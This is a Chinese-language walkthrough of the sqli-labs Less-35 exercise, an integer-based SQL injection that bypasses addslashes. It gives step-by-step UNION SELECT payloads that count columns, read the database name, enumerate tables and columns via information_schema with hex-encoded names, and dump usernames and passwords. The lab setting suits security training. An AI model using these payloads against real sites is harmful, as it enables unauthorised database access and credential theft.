目录
三、Less35(GET-Bypass AddSlashes(we dont need them) integer based)
3.1、简介:(宽字节注入-编码注入-报错回显-数字型注入)
一、推荐:
二、(手工)SQL注入基本步骤:
第一步:注入点测试
第二步:分析权限
第三步:判断字段数
第四步:爆数据库名
第五步:爆表名
第六步:爆字段名
第七步:爆数据
三、Less35(GET-Bypass AddSlashes(we dont need them) integer based)
3.1、简介:(宽字节注入-编码注入-报错回显-数字型注入)
请求方法:GET
方法:宽字节注入+闭合(数字型注入)+编码+报错回显
3.2、第一步:注入点测试
输入?id=1
后面加上单引号、双引号都报错
假设有引号闭合,注释后面
?id=1'--+
结果单双引号还是报错
报错,说明存在注入点
单双引号都报错,说明为数字型注入
(即不需要闭合)
3.3、第二步:分析过滤
方法一:
考虑一步一步将注入语句字符一个一个替换掉,直到不报错(浪费时间)
或者全部替换(如果报错,不知道哪里被过滤了)
方法二:
获取源码进行白盒审计(最优)
方法三:eg:输入?id=and or union select --+ updatexml # extractvalue(重要的都输进去)
看输入回显过滤语句的情况
3.4、第三步:判断字段数/回显位
?id=1 union select 1,2,3 --+
回显正常
?id=1 union select 1,2,3,4 --+
报错
说明字段数为3
判断回显位
?id=-1 union select 1,2,3 --+
3.5、第四步:暴库
?id=-1 union select 1,2,database()--+
3.6、第五步:爆表名
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479--+
'security'的单引号也会导致注入报错
可以直接进行十六进制编码,或者使用database()
3.7、第六步:爆字段
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273--+
'user'的单引号导致注入报错,可以直接进行十六进制编码
3.8、第七步:爆数据
?id=-1 union select 1,2,group_concat(username,password) from security.users--+